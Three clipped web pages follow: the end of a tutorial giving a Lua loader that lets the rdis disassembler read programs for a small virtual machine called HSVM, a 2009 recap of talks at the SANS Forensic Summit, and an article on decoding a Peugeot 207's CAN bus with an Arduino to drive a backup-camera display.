Because HSVM is non-complex, we can implement our remaining function in just a
few lines

[code]    function Hsvm.functions (hsvm)

        return hsvm:function_address(uint64(0))
    end
    
[/code]

  
HSVM will begin interpreting our code from address 0**.** We have no other
indicators of where functions may be, so a recursive disassembly from address
0 is our best bet for determining all reachable functions in HSVM**.**

[code]    function Hsvm.label (hsvm, address)

        return "fun_" .. tostring(address)
    end
    
[/code]

  
We have no symbol information for our hsvm executable, so we will label our
functions based purely upon their address**.**

[code]    function Hsvm.memory_map (hsvm)

        local memory_map = {}
        memory_map[uint64(0)] = hsvm.bytes
        return memory_map
    end
[/code]

  
Hsvm programs are loaded directly into memory, where offset 0 is equal to
address 0**.** This makes our memory\_map function easy.

[code]    function Hsvm.entry (hsvm)

        return 0
    end
[/code]

  
Hsvm programs begin at address 0, so we simply return 0 from our loader**.**  
  
Bringing it all together  
  
We save our completed lua loader and create an entry in ~/.rdis.lua to load it
for us automatically**.**  
  
Your .rdis.lua may look like this:

[code]    Hsvm = dofile("/path/to/hsvm.lua")

[/code]

  
Now we load lua and in the command window issue the following command:

[code]    rdis.load(Hsvm.new("/path/to/hsvm/file"))

[/code]

  
And we're done**\!**

The complete hsvm.lua file

For completion's sake, here's the entire hsvm.lua file:

[code]     Hsvm = {}

    Hsvm**.** __index = Hsvm
    
    Hsvm.REG_0       = 0x00
    Hsvm.REG_1       = 0x01
    Hsvm.REG_2       = 0x02
    Hsvm.REG_3       = 0x03
    Hsvm.REG_4       = 0x04
    Hsvm.REG_5       = 0x05
    Hsvm.REG_6       = 0x06
    Hsvm.REG_7       = 0x0A
    Hsvm.REG_BP      = 0x08
    Hsvm.REG_SP      = 0x09
    Hsvm.REG_IP      = 0x07
    Hsvm**.** OP_ADD      = 0x10
    Hsvm.OP_ADDLVAL  = 0x11
    Hsvm.OP_SUB      = 0x12
    Hsvm.OP_SUBLVAL  = 0x13
    Hsvm**.** OP_MUL      = 0x14
    Hsvm.OP_MULLVAL  = 0x15
    Hsvm.OP_DIV      = 0x16
    Hsvm.OP_DIVLVAL  = 0x17
    Hsvm**.** OP_MOD      = 0x18
    Hsvm.OP_MODLVAL  = 0x19
    Hsvm.OP_AND      = 0x1A
    Hsvm.OP_ANDLVAL  = 0x1B
    Hsvm**.** OP_OR       = 0x1C
    Hsvm.OP_ORLVAL   = 0x1D
    Hsvm.OP_XOR      = 0x1E
    Hsvm.OP_XORLVAL  = 0x1F
    Hsvm**.** OP_JMP      = 0x20
    Hsvm.OP_JE       = 0x21
    Hsvm.OP_JNE      = 0x22
    Hsvm.OP_JL       = 0x23
    Hsvm**.** OP_JLE      = 0x24
    Hsvm.OP_JG       = 0x25
    Hsvm.OP_JGE      = 0x26
    Hsvm.OP_CALL     = 0x27
    Hsvm**.** OP_CALLR    = 0x28
    Hsvm.OP_RET      = 0x29
    Hsvm.OP_LOAD     = 0x30
    Hsvm.OP_LOADR    = 0x31
    Hsvm**.** OP_LOADB    = 0x32
    Hsvm.OP_LOADBR   = 0x33
    Hsvm.OP_STOR     = 0x34
    Hsvm.OP_STORR    = 0x35
    Hsvm**.** OP_STORB    = 0x36
    Hsvm.OP_STORBR   = 0x37
    Hsvm.OP_IN       = 0x40
    Hsvm.OP_OUT      = 0x41
    Hsvm**.** OP_PUSH     = 0x42
    Hsvm.OP_PUSHLVAL = 0x43
    Hsvm.OP_POP      = 0x44
    Hsvm.OP_MOV      = 0x51
    Hsvm**.** OP_MOVLVAL  = 0x52
    Hsvm.OP_CMP      = 0x53
    Hsvm.OP_CMPLVAL  = 0x54
    Hsvm.OP_HLT      = 0x60
    Hsvm**.** OP_SYSCALL  = 0x61
    Hsvm.OP_NOP      = 0x90
    
    
    function Hsvm.new (filename)
        local hsvm = {}
        setmetatable(hsvm, Hsvm)
    
        local fh  = io.open(filename, "r")
        if fh == nil then
            rdis.console("failed to open file: " .. filename)
            return nil
        end
    
        local raw = fh:read("*a")
        fh:close()
    
        hsvm.bytes = {}
        for i=1, #raw do
            hsvm.bytes[i] = string.byte(raw, i)
        end
    
        return hsvm
    end
    
    
    -- used internally
    -- ins.opcode      = Hsvm**.** OP_*
    -- ins.operands    = table of registers
    -- ins.lval        = opcode lval
    
    -- required by rdis
    -- ins.address     = address of this instruction
    -- ins.successors  = table of addresses of instructions which are successors
    --                   to this instruction, or nil if no successors
    -- ins.target      = address of this instruction's target, or nil
    -- ins.description = string representation of this instruction
    -- ins.bytes       = a table of integers representing this instruction's bytes
    -- ins.call        = true if this instruction is a call, false or nil otherwise
    function Hsvm.ins (hsvm, address)
    
        function description (ins)
            local s = nil
    
            local opcode = ins.opcode
    
            if     opcode == Hsvm**.** OP_ADD      then s = "add"
            elseif opcode == Hsvm**.** OP_ADDLVAL  then s = "add"
            elseif opcode == Hsvm**.** OP_SUB      then s = "sub"
            elseif opcode == Hsvm**.** OP_SUBLVAL  then s = "sub"
            elseif opcode == Hsvm**.** OP_MUL      then s = "mul"
            elseif opcode == Hsvm**.** OP_MULLVAL  then s = "mul"
            elseif opcode == Hsvm**.** OP_DIV      then s = "div"
            elseif opcode == Hsvm**.** OP_DIVLVAL  then s = "div"
            elseif opcode == Hsvm**.** OP_MOD      then s = "mod"
            elseif opcode == Hsvm**.** OP_MODLVAL  then s = "mod"
            elseif opcode == Hsvm**.** OP_AND      then s = "and"
            elseif opcode == Hsvm**.** OP_ANDLVAL  then s = "and"
            elseif opcode == Hsvm**.** OP_OR       then s = "or"
            elseif opcode == Hsvm**.** OP_ORLVAL   then s = "or"
            elseif opcode == Hsvm**.** OP_XOR      then s = "xor"
            elseif opcode == Hsvm**.** OP_XORLVAL  then s = "xor"
            elseif opcode == Hsvm**.** OP_JMP      then s = "jmp"
            elseif opcode == Hsvm**.** OP_JE       then s = "je"
            elseif opcode == Hsvm**.** OP_JNE      then s = "jne"
            elseif opcode == Hsvm**.** OP_JL       then s = "jl"
            elseif opcode == Hsvm**.** OP_JLE      then s = "jle"
            elseif opcode == Hsvm**.** OP_JG       then s = "jg"
            elseif opcode == Hsvm**.** OP_JGE      then s = "jge"
            elseif opcode == Hsvm**.** OP_CALL     then s = "call"
            elseif opcode == Hsvm**.** OP_CALLR    then s = "call"
            elseif opcode == Hsvm**.** OP_RET      then s = "ret"
            elseif opcode == Hsvm**.** OP_LOAD     then s = "load"
            elseif opcode == Hsvm**.** OP_LOADR    then s = "load"
            elseif opcode == Hsvm**.** OP_LOADB    then s = "loadb"
            elseif opcode == Hsvm**.** OP_LOADBR   then s = "loadb"
            elseif opcode == Hsvm**.** OP_STOR     then s = "stor"
            elseif opcode == Hsvm**.** OP_STORR    then s = "stor"
            elseif opcode == Hsvm**.** OP_STORB    then s = "storb"
            elseif opcode == Hsvm**.** OP_STORBR   then s = "storb"
            elseif opcode == Hsvm**.** OP_IN       then s = "in"
            elseif opcode == Hsvm**.** OP_OUT      then s = "out"
            elseif opcode == Hsvm**.** OP_PUSH     then s = "push"
            elseif opcode == Hsvm**.** OP_PUSHLVAL then s = "push"
            elseif opcode == Hsvm**.** OP_POP      then s = "pop"
            elseif opcode == Hsvm**.** OP_MOV      then s = "mov"
            elseif opcode == Hsvm**.** OP_MOVLVAL  then s = "mov"
            elseif opcode == Hsvm**.** OP_CMP      then s = "cmp"
            elseif opcode == Hsvm**.** OP_CMPLVAL  then s = "cmp"
            elseif opcode == Hsvm**.** OP_HLT      then s = "hlt"
            elseif opcode == Hsvm**.** OP_SYSCALL  then s = "syscall"
            elseif opcode == Hsvm**.** OP_NOP      then s = "nop"
            else
                return nil
            end
    
            if ins.operands ~= nil then
                local reg_strings = {}
                for k, reg in pairs(ins.operands) do
                    if     reg == Hsvm.REG_0  then table.insert(reg_strings, "r0")
                    elseif reg == Hsvm.REG_1  then table.insert(reg_strings, "r1")
                    elseif reg == Hsvm.REG_2  then table.insert(reg_strings, "r2")
                    elseif reg == Hsvm.REG_3  then table.insert(reg_strings, "r3")
                    elseif reg == Hsvm.REG_4  then table.insert(reg_strings, "r4")
                    elseif reg == Hsvm.REG_5  then table.insert(reg_strings, "r5")
                    elseif reg == Hsvm.REG_6  then table.insert(reg_strings, "r6")
                    elseif reg == Hsvm.REG_7  then table.insert(reg_strings, "r7")
                    elseif reg == Hsvm.REG_BP then table.insert(reg_strings, "rbp")
                    elseif reg == Hsvm.REG_SP then table.insert(reg_strings, "rsp")
                    elseif reg == Hsvm.REG_IP then table.insert(reg_strings, "rip")
                    end
                end
                s = s .. " " .. table.concat(reg_strings, ", ")
            end
    
            if ins.lval ~= nil then
                if ins.operand ~= nil then
                    s = s .. ", " .. tostring(ins.lval)
                else
                    s = s .. " " .. tostring(ins.lval)
                end
            end
    
            return s
        end
    
        ------------------------------------------------
    
        function successors (ins)
            if    ins.opcode == Hsvm**.** OP_RET
               or ins.opcode == Hsvm.OP_HLT then
                return nil
            end
    
            if ins.opcode == Hsvm**.** OP_JMP then
                return {(ins.address + ins.lval + 4) % 65536}
            end
    
            local successors = {ins.address + 4}
    
            if    ins.opcode == Hsvm**.** OP_JMP
               or ins.opcode == Hsvm.OP_JE
               or ins.opcode == Hsvm**.** OP_JNE
               or ins.opcode == Hsvm.OP_JL
               or ins.opcode == Hsvm**.** OP_JLE
               or ins.opcode == Hsvm.OP_JG
               or ins.opcode == Hsvm**.** OP_JGE
               or ins.opcode == Hsvm.OP_CALL then
                table.insert(successors, (ins.address + ins.lval + 4) % 65536)
            end
    
            return successors
        end
    
        ------------------------------------------------
    
        function target (ins)
            if    ins.opcode == Hsvm**.** OP_JMP
               or ins.opcode == Hsvm.OP_JE
               or ins.opcode == Hsvm**.** OP_JNE
               or ins.opcode == Hsvm.OP_JL
               or ins.opcode == Hsvm**.** OP_JLE
               or ins.opcode == Hsvm.OP_JG
               or ins.opcode == Hsvm**.** OP_JGE
               or ins.opcode == Hsvm.OP_CALL then
                return (ins.address + ins.lval + 4) % 65536
            end
            return nil
        end
    
        ------------------------------------------------
    
        local bytes = {hsvm.bytes[address:number() + 1],
                       hsvm.bytes[address:number() + 2],
                       hsvm.bytes[address:number() + 3],
                       hsvm.bytes[address:number() + 4]}
    
        local ins = {}
        local opcode = bytes[1]
        local validate_operands = 0
    
        ins.address = address
        ins.opcode  = opcode
    
        ins.bytes = bytes
    
        -- set operands/lval
        -- Encoding A
        if    opcode == Hsvm**.** OP_HLT
           or opcode == Hsvm.OP_NOP
           or opcode == Hsvm.SYSCALL
           or opcode == Hsvm**.** OP_RET then
           -- do nothing
    
        -- Encoding B
        elseif    opcode == Hsvm**.** OP_CALLR
               or opcode == Hsvm**.** OP_PUSH
               or opcode == Hsvm.OP_POP
               or opcode == Hsvm**.** OP_IN
               or opcode == Hsvm.OP_OUT then
            ins.operands = {}
            ins.operands[1] = bytes[2]
    
        -- Encoding C
        elseif    opcode == Hsvm**.** OP_CMP
               or opcode == Hsvm.OP_LOADR
               or opcode == Hsvm**.** OP_LOADBR
               or opcode == Hsvm.OP_STORR
               or opcode == Hsvm**.** OP_STORBR
               or opcode == Hsvm.OP_MOV then
            ins.operands = {}
            ins.operands[1] = bytes[2]
            ins.operands[2] = bytes[3]
    
        -- Encoding D
        elseif    opcode == Hsvm**.** OP_ADD
               or opcode == Hsvm.OP_SUB
               or opcode == Hsvm**.** OP_MUL
               or opcode == Hsvm.OP_DIV
               or opcode == Hsvm**.** OP_MOD
               or opcode == Hsvm.OP_AND
               or opcode == Hsvm**.** OP_OR
               or opcode == Hsvm.OP_XOR then
            ins.operands    = {}
            ins.operands[1] = bytes[2]
            ins.operands[2] = bytes[3]
            ins.operands[3] = bytes[4]
    
        -- Encoding E
        elseif    opcode == Hsvm**.** OP_ADDLVAL
               or opcode == Hsvm.OP_SUBLVAL
               or opcode == Hsvm**.** OP_MULLVAL
               or opcode == Hsvm.OP_DIVLVAL
               or opcode == Hsvm**.** OP_MODLVAL
               or opcode == Hsvm.OP_ANDLVAL
               or opcode == Hsvm**.** OP_ORLVAL
               or opcode == Hsvm.OP_XORLVAL
               or opcode == Hsvm**.** OP_CMPLVAL
               or opcode == Hsvm.OP_LOAD
               or opcode == Hsvm**.** OP_LOADB
               or opcode == Hsvm.OP_STOR
               or opcode == Hsvm**.** OP_STORB
               or opcode == Hsvm.OP_MOVLVAL then
    
            ins.operands    = {}
            ins.operands[1] = bytes[2]
            ins.lval        = bytes[3] * 256
            ins.lval        = uint64(ins.lval + bytes[4])
    
        elseif    opcode == Hsvm**.** OP_JE
               or opcode == Hsvm.OP_JNE
               or opcode == Hsvm**.** OP_JL
               or opcode == Hsvm.OP_JLE
               or opcode == Hsvm**.** OP_JG
               or opcode == Hsvm.OP_JGE
               or opcode == Hsvm**.** OP_CALL
               or opcode == Hsvm.OP_JMP
               or opcode == Hsvm**.** OP_PUSHLVAL then
            ins.lval = bytes[3] * 256
            ins.lval = uint64(ins.lval + bytes[4])
    
        else
            return nil
        end
    
        if ins.operands ~= nil then
            for k,v in pairs(ins.operands) do
                if     v ~= Hsvm.REG_0
                   and v ~= Hsvm.REG_1
                   and v ~= Hsvm.REG_2
                   and v ~= Hsvm.REG_3
                   and v ~= Hsvm.REG_4
                   and v ~= Hsvm.REG_5
                   and v ~= Hsvm.REG_6
                   and v ~= Hsvm.REG_7
                   and v ~= Hsvm.REG_BP
                   and v ~= Hsvm.REG_SP
                   and v ~= Hsvm.REG_IP then
                    return nil
                end
            end
        end
    
        ins.target      = target(ins)
        ins.successors  = successors(ins)
        ins.description = description(ins)
    
        if ins.opcode == Hsvm**.** OP_CALL then
            ins.call = true
        else
            ins.call = false
        end
    
        return ins
    end
    
    
    function Hsvm.function_address (hsvm, address)
        local disassembled = {}
        local functions    = {}
        local queue        = {address}
    
        functions[address:number()] = address
    
        while #queue > 0 do
            local addr = queue[1]
            table.remove(queue, 1)
    
            if disassembled[addr:number()] == nil and addr + 4 <= uint64(#hsvm.bytes) then
                disassembled[addr:number()] = true
    
                local ins = hsvm:ins(addr)
    
                if ins ~= nil and ins.successors ~= nil then
                    for k, successor in pairs(ins.successors) do
                        table.insert(queue, successor)
                    end
                end
    
                if ins ~= nil and ins.call == true and ins.target ~= nil then
                    functions[ins.target:number()] = ins.target
                end
            end
        end
    
        return functions
    end
    
    
    function Hsvm.functions (hsvm)
        return hsvm:function_address(uint64(0))
    end
    
    
    function Hsvm.label (hsvm, address)
        return "fun_" .. tostring(address)
    end
    
    
    function Hsvm.memory_map (hsvm)
        local memory_map = {}
        memory_map[uint64(0)] = hsvm.bytes
        return memory_map
    end
    
    function Hsvm.entry (hsvm)
        return 0
    end
    
    return Hsvm
[/code]

Posted 13th November 2012 by rednovae

Labels: rdis

0

###  Add a comment****

Links

Blog Archive

Subscribe

Loading

Send feedback ****

# Push the Red Button

**Created:**| _7/22/2009 1:10:19 PM_  
---|---  
**Updated:**| _7/22/2009 1:10:36 PM_  
**Author:**| __  
**Tags:**| _windows security Forensics Memory forensics_  
  

### SANS Forensic Summit: Thoughts and Slides

This past Tuesday I attended the 2009 SANS Forensic Summit. In part, I was
there to give a talk on combining volatile memory analysis with forensic
analysis \(see below for the slides from that\), but I was also pretty excited
about getting to hang out with the bright lights of the forensics community
like Harlan Carvey, Chris Pogue, Richard Bejtlich, and many more.  
  
Unfortunately, I was only able to attend the first day, which consisted
primarily of technical talks on various aspects of forensics, incident
response, and live forensics. All the talks were really excellent; Rob Lee and
the folks at SANS should be commended for their great work in putting
everything together. In this post I'm going to just describe the talks, rather
than the panels; unfortunately I forgot to take notes during the panels and so
I don't have as much to say about them, other than that they were fun and
highly informative.  
  
On to the talks\! The first talk of the morning was Richard Bejtlich's
keynote, which gave a really great analysis of the current state of the
industry and the challenges faced by investigators today. He drew heavily from
the Verizon Data Breach Investigations Report, which gave his assertions a
nice feel of solidity to them; for example, when he says that we're in bad
shape \(getting compromised left and right\), he can back that up with
statistics showing that most intrusions are discovered only through third
party notifications. If you're not already reading Richard's posts over at
TaoSecurity, I highly encourage it.  
  
After the keynote, Kris Harms got up to talk about live response. He gave a
lot of cool tips on how to use some standard tools that most people should be
familiar with \(pslist, handles, etc.\) to quickly triage a system and make a
determination on whether it needs deeper analysis. I have to admit that I
don't usually think a lot about live analysis--from a standpoint of simply
collecting volatile data, I think that memory forensics offers a much better
solution. However, from a triage perspective, live analysis makes a lot of
sense; you can get a lot of leads very quickly by just knowing how to poke
around on the live system.  
  
Nevertheless, I did have one quibble with this talk. It seemed like a lot of
the techniques presented, while cool, were a little haphazard. That is,
"poking around" isn't necessarily repeatable, which means that as an
investigator you could end up missing data by performing a different set of
actions on different cases. After all, we're only human, and sometimes we
forget things. I personally prefer to make sure that anything I'm going to do
more than once is scripted. This allows one to codify an investigative
procedure so that it's consistent and repeatable -- think of it as an
executable checklist.  
  
For example, in the presentation, Kris Harms described finding hidden
processes by using handle.exe and pulling out the PIDs of each handle table it
finds \(Harlan Carvey now has a nice perl script that automates this\).
However, there are several rootkit detectors \(such as IceSword\) that will do
this handle table vs. process list cross-view for you. I think we should
definitely learn about these techniques and how they work, but I don't see the
point in trying to keep them all in your head and do them by hand each time --
put it in a script and let the computer do the work.  
  
After lunch, Harlan Carvey got up to talk about Windows registry analysis, a
field that he did a lot of pioneering work in and essentially dominates.
Things got a little hectic at the end, as he raced through some information-
dense slides on specific kinds of forensic information you could get out of
the registry, but overall I really found the talk engaging and illuminating.
It also served as a really great motivator for my own talk: he spent a while
near the beginning talking about volatile registry data and some of the
reasons it's important. This set me up very nicely, since my own presentation
was all about extracting registry data from memory. And I didn't even have to
bribe him \(much\)\!  
  
Ending out the day \(for presentations, at least\) was a combined, hour and a
half long session on memory analysis with Jamie Butler, Peter Silberman, and
me. Peter and Jamie gave a great talk on Memoryze, which is Mandiant's free
\(as in beer\) tool for analyzing volatile memory. Although most of the stuff
presented was nothing new if you've been following memory analysis research,
it was nice to see their software in action. They also announced the release
of a new version of Memoryze, which supports Vista more fully, including the
reworked networking code. Peter and Jamie are both very smart, and while I
personally prefer Volatility for my own work, I'm glad that people have great
options like Memoryze and Volatility to choose from.  
  
Finally, after Jamie and Peter, I gave my own talk on combining registry
analysis with memory forensics. There wasn't much new research presented in
the talk, but I think it serves as a nice introduction to the toolset for
people that haven't seen it before. The slides are available at the bottom of
this post \(assuming I can get this embedding thing to work\), and I'll let
them speak for themselves. :\)  
  
Once again, a huge thanks to Rob Lee and everyone who organized and attended
the SANS Forensics Summit 2009\! If you missed it this year, I hope this post
has given you a taste of some of the great stuff that goes on there, and will
encourage you to go next time\!

# CAN bus reverse-engineering with Arduino and iOS – Alexandre Blin – Medium

**Created:**| _5/7/2017 10:13:14 AM_  
---|---  
**Updated:**| _5/7/2017 10:13:14 AM_  
**Author:**| __  
**Tags:**| _Embedded car-hacking iot_  
  

  

# CAN bus reverse-engineering with Arduino and iOS

<img src='img/1*PqfmcLmMVhzlREXYcEUcqA.jpeg' width='30' height='22' />

<img src='img/1776_1*PqfmcLmMVhzlREXYcEUcqA.jpeg' width='576' height='432' />

I always wanted a backup camera on my car. Unfortunately, my Peugeot 207 is
more than 10 years old, and backup cameras weren’t common back then. Instead
of buying a new car, I decided to build one myself\!

You can find aftermarket backup cameras online that you can put above your
license plate, and they make them for many car models. However, you need to
find a way to display it somewhere on the dashboard.

I wanted to have the most OEM-like solution, so I decided to replace the stock
monochrome display by a color LCD screen.

<img src='img/1783_1*U9FVJnbTZkm7RNr8Z50pVw.png' width='30' height='22' />

<img src='img/1*U9FVJnbTZkm7RNr8Z50pVw.png' width='494' height='365' />

The stock display on my car

But this meant that I would lose all the displayed information. The time,
current radio station, outside temperature, etc…

To summarize, I needed to:

  * Install a camera on the back of my car
  * Replace the current display by a color LCD screen
  * Find a way to get back the car’s informations
  * Display the informations on the new screen, and the backup camera when I switch to reverse gear

### Installing the camera hardware

I found a camera online made exactly for my car. It replaces the cover of one
of my plate lights. It’s powered by 12V, so I just had to hook it to the
reversing light, so it would only turn on when I’m actually reversing. The
outputted analog video was already mirrored and even had an overlay to guide
me when parking.

The hardest part was to bring the cable from the rear of the car to the
dashboard. I had to remove a dozen plastic covers to cleanly route it along
existing cables. But after a few hours it was cleanly installed, with a single
video cable coming from the dashboard\!

<img src='img/1*bpCTwqHjtTPUdfaEO4ZfkA.jpeg' width='30' height='22' />

<img src='img/1789_1*bpCTwqHjtTPUdfaEO4ZfkA.jpeg' width='400' height='300' />

<img src='img/1786_1*baJG-3M3HoM3miLpBUvlqA.jpeg' width='30' height='40' />

<img src='img/1*baJG-3M3HoM3miLpBUvlqA.jpeg' width='400' height='533' />

<img src='img/1*jL3wlOsuudRdsZzFTQFFZg.jpeg' width='30' height='22' />

<img src='img/1771_1*jL3wlOsuudRdsZzFTQFFZg.jpeg' width='400' height='300' />

### Replacing the display

There is no way I could fit a big enough screen instead of the stock display.
Fortunately, the Peugeot 207 is also available with a GPS navigation system
which has a 7" color LCD screen instead of the one I have.

While Peugeot sells the navigation system screen in spare parts, it costs more
than 300€, and it seemed to have some kind of proprietary interface, so I had
to find another way. I found a website which sells the screen enclosure
without the screen for much cheaper. Then I could buy a 7" LCD screen off
Amazon to put inside:

<img src='img/1*jkWfVsqsgXGRWkW0bN9y_w.jpeg' width='30' height='40' />

<img src='img/1778_1*jkWfVsqsgXGRWkW0bN9y_w.jpeg' width='400' height='533' />

<img src='img/1781_1*Ju8d38uxWFGiFMgqWdeDgQ.jpeg' width='30' height='40' />

<img src='img/1*Ju8d38uxWFGiFMgqWdeDgQ.jpeg' width='400' height='533' />

<img src='img/1*546oHuNxtNqJEB0qJ-6SWQ.jpeg' width='30' height='22' />

<img src='img/1788_1*546oHuNxtNqJEB0qJ-6SWQ.jpeg' width='576' height='432' />

The screen has multiple inputs: HDMI, VGA and analog video. There is even a
specific pin on the board to automatically switch to the analog video input,
which is perfect for a backup camera. This will allow me to display the car’s
informations via HDMI or VGA, and switch to the backup camera video feed when
I switch to reverse gear. Next step: retrieving the car’s informations.

### Interfacing with the car

This is where the Arduino comes in. But how can I connect an Arduino to my
car? The obvious candidate would be to use the OBD-II port. In Europe, car
manufactured after 2004 are required to include it. It’s a standard port used
to perform diagnostics and retrieve various informations about the car \(like
the battery voltage, oil temperature, …\).

Sadly, it doesn’t return data about the current tuned FM station, or the trip
computer’s informations \(distance travelled, fuel estimate\), at least not on
my car.

After some digging, it turns out that every piece of electronic of my car is
connected to a CAN bus. The CAN bus is present in most car nowadays because it
allows to have much less cables than before. It requires only two cables and
every node connected on it can talk to each other. Nodes send and receives
_frames_ with a numeric ID and up to 8 bytes of data.

As I expected, there is not much information online about my car’s CAN bus.
The content of each frame is not publicly documented and probably unique to
each brand of car, since this is not standardized like the OBD-II protocol.
Luckily, I found the website of a university teacher who taught a course on
CAN buses, and the students did practical work on… a Peugeot 207\! This is
perfect, as I could find valuable information in this PDF \(in French\).

It did not contain information on the frames I needed, but I learned that my
car actually has 3 different CAN buses:

  * The “confort” bus, which controls air conditioning, the radio, speedometer, fuel gauge…
  * The “body” bus, which controls stuff like headlights, turn signals, wipers…
  * The “inter-systems” bus, which connects the different control modules for the engine, the brakes and so on…

The bus I’m interested in is the first one, where the radio and the old
display are connected.

I found an unused connector on the back of my radio unit. Apparently, its
purpose is to connect an optional CD changer. But a quick search revealed that
the connector has 2 pins exposing the “confort” bus. So I wired the Arduino to
the radio using a CAN bus shield. And to my delight, I started receiving CAN
frames\!

### Decoding CAN frames

At first, I tried printing every frame I could read on the bus. But I couldn’t
make sense of anything because there was too much data being sent at the same
time. It turns out, each node broadcast its status a few times every second,
even if it didn’t change since the last time. So I made a Python script to
have a better visualization of the frames:

<img src='img/1*sJCJvvYU1EPFaJ8awUpgvw.gif.jpg' width='30' height='21' />

<img src='img/1*sJCJvvYU1EPFaJ8awUpgvw.gif' width='576' height='415' />

The frames are ordered by ID. Being able to see bytes changing in real-time
made it much easier to decode the frames:

  * By turning the volume of the radio up and down, I immediately found that the volume level was in frame 421
  * Shifting to reverse gear flips a bit in frame 246. This is perfect as I could connect the Arduino to the LCD controller board to switch to the backup camera video automatically. I was lucky this information was on the confort bus, as far as I know there is nothing which displays the current gear on the dashboard
  * Current radio station: the name of the tuned radio station is encoded in ASCII in frame 677
  * Opening and closing doors revealed that frame 417 contained information about which door was currently open

However, some data was more difficult to find:

  * The outside temperature can be negative, which means they had to find a way to represent negative numbers. I put my finger on the temperature sensor and tried to see which value was slowly going up. Turns out the temperature value is offset by `40`. So `0` is -40ºC, `40` is 0ºC, and so on… This means that the car can’t display temperatures below -40ºC \(but by then the car would probably have died already…\)
  * FM frequency was offset by 500 and multiplied by 10. For example, `577` represents the 107.70MHz frequency \(`(577 + 500) / 10 = 107.7`\)
  * Information messages. Sometimes the car displays messages such as “low exterior temperature”, “passenger door open”, etc… I tried to reproduce each of those cases to see which frame was causing the messages to appear on the screen. However, some were difficult to reproduce \(like the low gas warning\). So instead of trying to map every message manually, I tried to send manually the frame which made the message appear on the display. The frame would contain a number corresponding to a specific message to display on the screen. So I sent frames with every numbers from 0 to 255 and I successfully mapped all the messages the display could show \(even those who did not apply to my car such as messages about the sunroof being stuck\!\)
  * Radio text. Many radio stations send some text over RDS containing a slogan or the name of the song currently playing. This text can contain up to 64 characters, way more than can be sent using a 8-bytes CAN frame. To work around this limitation, the radio cuts the text and send it in separate frames. Putting the frames together would reconstruct the original text. This was all working fine until I unplugged the screen. I would then receive only the first frame, then nothing. It turns out, the screen actually has some built-in logic and sends an acknowledgment frame when it receives the first part of the text. Once I made the Arduino send this special frame, I managed to reconstruct the full text even when the screen was unplugged\!

There is some data I still miss, such as the oil temperature \(I have no gauge
displaying it, so it’s almost impossible to reverse-engineer\!\)

### Displaying the data on screen

Once I gathered all the informations I needed to replace my old display, I had
to find a way to display it on the color LCD screen. The Arduino is not
powerful enough to drive a 7" color screen, so I needed to find another way.

I’m an iOS developer, so I figured: why not use an iOS device? This is
probably less cost-efficient than using a Raspberry Pi but it had a few
advantages over it. Being a mobile device, it’s optimized for low power
consumption, which will avoid draining my car’s battery too fast. It has Wi-Fi
and Bluetooth built-in \(the Pi 3 was not released yet when I began working on
this project\). It can also temporarily run on battery when the car is
starting \(the 12V power to all nonessential elements during ignition\).

These problems could still have been solved with a Raspberry Pi, by adding
dongles and a battery. But iOS devices already contains everything needed, in
a small form factor. I was also more familiar with iOS development, and UIKit
is notoriously great to build nice user interfaces\!

So I went on Leboncoin \(basically France’s Craigslist\) and bought an old
iPod Touch with a broken screen for around 20€. I did not care about the
screen since I’d use it exclusively through the HDMI output.

But how could I make an iPod Touch and an Arduino talk to each other? Little
known fact: the Dock connector on iOS devices has a serial interface\!
However, it wasn’t easy to make my own serial cable. I did not have a male
connector with all the necessary pins. So I decided to solder wires directly
on the iPod’s logic board:

<img src='img/1*rgOKWfwwVvBxPj48xro1tg.jpeg' width='30' height='22' />

<img src='img/1*F4Q0ka412oaqXS05xenRMw.jpeg' width='30' height='22' />

<img src='img/1*N3qwUgXa31rExryBn84blA.jpeg' width='30' height='22' />

My Frankenstein iPod Touch

<img src='img/1*XIndvbOzHqRtR_mRb6lGVg.gif.jpg' width='30' height='16' />

This actually worked pretty well, I could connect it to the Arduino and
display data from the car.

In this quick clip you can see the iPod displaying the radio’s volume,
updating in real time as I change it.

All was perfect until I hooked up the iPod to the screen using Apple’s HDMI
adapter. When it was plugged in, the serial communication didn’t work anymore…
It seemed that the adapter conflicted with the serial port. Unfortunately,
there was no information about that kind of problem online, there was already
very few people using iOS’s serial device, I was probably the first one to use
it with an HDMI adapter plugged in\! I tried playing with different resistors
value on the connector’s pin 21 but I never managed to make it work. So I
needed to find another way to communicate with the Arduino…

This is when I stumbled upon the HM-10. It’s a tiny Bluetooth module capable
of many things, but is most commonly used to enable serial communication with
any device \(such as an Arduino board\) over Bluetooth. It’s also very cheap:
around $5\! And there are libraries available to communicate with it from an
iOS app. This was perfect because I didn’t have to make a special cable or
solder anything\! The only caveat is that it requires an iOS device supporting
Bluetooth _Low Energy_ , which means an iPhone 4S or newer. Unfortunately, my
iPod Touch too old. I also was worried about the latency compared to a regular
wired connection.

Before searching for a cheap iPhone 4S, I made a simple prototype on my iPad
Air 2, which supports Bluetooth LE. It just displayed the outside temperature,
radio name, and radio frequency.

I wrote the app in Swift. Thanks to Swift’s type-safety, it’s much easier to
write robust and bug-free code, which is especially important in my case as I
didn’t want to have to restart the app regularly because of crashes.

My first approach was to make the Arduino a simple interface that would send
all the CAN frames it received over Bluetooth to the iOS app, which would then
handle the processing.

The main benefit was to be able to support new CAN frames by simply editing
the iOS app, instead of uploading a new sketch to the Arduino. This would put
all the logic in one place. However, due to the huge amount of data coming
from the CAN bus, the Bluetooth module didn’t keep up. The latency was way too
high and I would even lose some frames.

So, instead of blindly sending every frame to the app, I decided to preprocess
them on the Arduino. It stores the information I need in memory \(volume,
temperature, etc…\) so it can send the data over Bluetooth only when the value
has actually changed, using a simple binary protocol. This dramatically
reduced the amount of data being sent over Bluetooth and brought the latency
to almost zero. I couldn’t even see any difference compared to my previous
wired tests\!

<img src='img/1774_resize.jpg' width='40' height='30' />

If there is any latency, it’s pretty much unnoticeable

### Putting it all together

I was almost done. I had the backup camera, a 7" LCD screen replacement for my
old display, an Arduino connected to the CAN bus which could be connected to
an iOS app over Bluetooth.

I bought an old iPhone 4S from a coworker and started installing everything in
the car. I put the iPhone behind a plastic cover under the steering wheel.
It’s not visible from the outside \(I didn’t want someone smashing my window
to steal it\) but still easily accessible if I needed to tweak something on
it.

Then, I replaced the breadboard and jumper wires by a stripboard. I made it to
be the same size as an Arduino shield so I could connect it over the CAN
shield. I soldered the components upside-down so I could fit it nicely in a
little plastic case. It fits nicely inside my dashboard, in a mess of wires
under the radio.

<img src='img/1*gtZ2fU7rZbe3APFOYx1_CQ.jpeg' width='30' height='22' />

